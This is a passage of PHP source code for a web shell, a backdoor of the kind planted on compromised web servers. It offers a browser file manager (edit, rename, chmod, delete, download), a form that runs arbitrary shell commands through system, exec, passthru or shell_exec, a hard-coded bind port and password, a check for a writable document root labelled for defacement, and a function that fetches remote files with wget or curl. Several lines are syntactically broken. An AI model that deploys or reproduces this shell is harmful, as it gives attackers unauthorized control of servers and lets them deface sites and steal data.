    $v      = explode("\\", $d);
    $v      = $v[0];
    foreach (range("A", "Z") as $letter) {
        $bool = @is_dir($letter . ":\\");
        if ($bool) {
            $letters .= "<a href='?sad=" . $letter . ":\\'>[ ";
            if ($letter . ":" != $v) {
                $letters .= $letter;
            } else {
                $letters .= "<span class='gaya'>" . $letter . "</span>";
            }
            $letters .= " ]</a> ";
        }
    }
}

if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
    $posix = TRUE;
else
    $posix = FALSE;
$server_ip     = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip         = $_SERVER['REMOTE_ADDR'];
$bindport      = "13123";
$bindport_pass = "Krypton";
$pwds          = explode(DIRECTORY_SEPARATOR, $pwd);
$pwdurl        = "";
for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
    $pathz = "";
    for ($j = 0; $j <= $i; $j++) {
        $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
    }
    $pwdurl .= "<a href='?sad=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
}
if (isset($_POST['rename'])) {
    $old = $_POST['oldname'];
    $new = $_POST['newname'];
    @rename($pwd . $old, $pwd . $new);
    $file = $pwd . $new;
}
if (isset($_POST['chmod'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
if (isset($_POST['chmod_folder'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
$buff = "&nbsp;" . $software . "<br>";
$buff .= "&nbsp;" . $system . "<br>";
if ($id != "")
    $buff .= "&nbsp;" . $id . "<br>";
if ($safemode)
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
else
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat)
{
    if ($stat == "on") {
        return "<b><font style='color:lime'>ON</font></b>";
    } else {
        return "<b><font style='color:red'>OFF</font></b>";
    }
}
function hdd($s) {
    if($s >= 1073741824)
    return sprintf('%1.2f',$s / 1073741824 ).' GB';
    elseif($s >= 1048576)
    return sprintf('%1.2f',$s / 1048576 ) .' MB';
    elseif($s >= 1024)
    return sprintf('%1.2f',$s / 1024 ) .' KB';
    else
    return $s .' B';
}
function testmysql()
{
    if (function_exists('mysql_connect')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testcurl()
{
    if (function_exists('curl_version')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testwget()
{
    if (exe('wget --help')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testperl()
{
    if (exe('perl -h')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function ngindex($piye)
{
    if ($piye == "ok") {
        return "<font style='color:lime'>Writeable (Bisa Tebas Index)</font>";
    } else {
        return "<b><font style='color:red'>Not Writeable</font></b>";
    }
}
function can_deface(){
    $thisdir = $_SERVER['DOCUMENT_ROOT'];
    if (is_writable($thisdir)) {
        return '&nbsp;Writeable Root Directory:<font color="green" size="+1">'.$thisdir.' '.ngindex("ok").'<br>';
    } else {
        return ngindex("ok").'<br>';
    }
}
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
$buff .= "&nbsp;Disk Size:<font style='color:lime'>".hdd(disk_free_space("/"))."</font>/".hdd(disk_total_space("/"))."<br>";
$buff .= can_deface();
$buff .= "&nbsp;Disable Function :$show_ds<br>";
$buff .= "&nbsp;Drives : " . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
function rapih($text)
{
    return trim(str_replace("<br>", "", $text));
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function showdir($pwd, $prompt)
{
    $fname = array();
    $dname = array();
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
        $posix = TRUE;
    else
        $posix = FALSE;
    $user = "????:????";
    if ($dh = opendir($pwd)) {
        while ($file = readdir($dh)) {
            if (is_dir($file)) {
                $dname[] = $file;
            } elseif (is_file($file)) {
                $fname[] = $file;
            }
        }
        closedir($dh);
    }
    sort($fname);
    sort($dname);
    $path   = @explode(DIRECTORY_SEPARATOR, $pwd);
    $tree   = @sizeof($path);
    $parent = "";
    $buff   = " <form action='?sad=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>File & Dirs</th><th style='width:80px;'>Size</th><th style='width:210px;'>Owner:Group</th><th style='width:80px;'>perms</th><th style='width:110px;'>Last Modified</th><th style='width:190px;'>actions</th></tr> ";
    if ($tree > 2)
        for ($i = 0; $i < $tree - 2; $i++)
            $parent .= $path[$i] . DIRECTORY_SEPARATOR;
    else
        $parent = $pwd;
    foreach ($dname as $folder) {
        if ($folder == ) {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a href=\"?sad=" . $pwd . "\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($pwd) . "</center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
<a href=\"?sad=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";
        } elseif ($folder == "..") {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td>
<a href=\"?sad=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($parent) . "</center></td> <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
<td><span id=\"titik2\"><a href=\"?sad=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";
        } else {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?sad=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,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' width=20px/>  <font style='color:red;text-shadow:none;'>[</font> $folder <font style='color:red;text-shadow:none;'>]</font></a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a>
</td>
</tr>";
        }
    }
    foreach ($fname as $file) {
        $full = $pwd . $file;
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?sad=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />  $file</a> 
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> 
<td><a href=\"?sad=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;delete=$full\">delete</a> | <a href=\"?sad=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?sad=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";
    }
    $buff .= "<center><tr style='background-color:teal;'><td colspan='6'><center>Kau Buat Sirna Sudahlah.. Harapanku Hidup Bersamamu..</center></td></table>";
    return $buff;
}
function ukuran($file)
{
    if ($size = @filesize($file)) {
        if ($size <= 1024)
            return $size;
        else {
            if ($size <= 1024 * 1024) {
                $size = @round($size / 1024, 2);
                ;
                return "$size kb";
            } else {
                $size = @round($size / 1024 / 1024, 2);
                return "$size mb";
            }
        }
    } else
        return "???";
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function tulis($file, $text)
{
    $textz = gzinflate();
    if ($filez = @fopen($file, "w")) {
        @fputs($filez, $textz);
        @fclose($file);
    }
}
function ambil($link, $file)
{
    if ($fp = @fopen($link, "r")) {
        while (!feof($fp)) {
            $cont .= @fread($fp, 1024);
        }
        @fclose($fp);
        $fp2 = @fopen($file, "w");
        @fwrite($fp2, $cont);
        @fclose($fp2);
    }
}
function which($pr)
{
    $path = exe("which $pr");
    if (!empty($path)) {
        return trim($path);
    } else {
        return trim($pr);
    }
}
function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
function get_perms($file)
{
    if ($mode = @fileperms($file)) {
        $perms = '';
        $perms .= ($mode & 00400) ? 'r' : '-';
        $perms .= ($mode & 00200) ? 'w' : '-';
        $perms .= ($mode & 00100) ? 'x' : '-';
        $perms .= ($mode & 00040) ? 'r' : '-';
        $perms .= ($mode & 00020) ? 'w' : '-';
        $perms .= ($mode & 00010) ? 'x' : '-';
        $perms .= ($mode & 00004) ? 'r' : '-';
        $perms .= ($mode & 00002) ? 'w' : '-';
        $perms .= ($mode & 00001) ? 'x' : '-';
        return $perms;
    } else
        return "??????????";
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
$tunisia         = '';
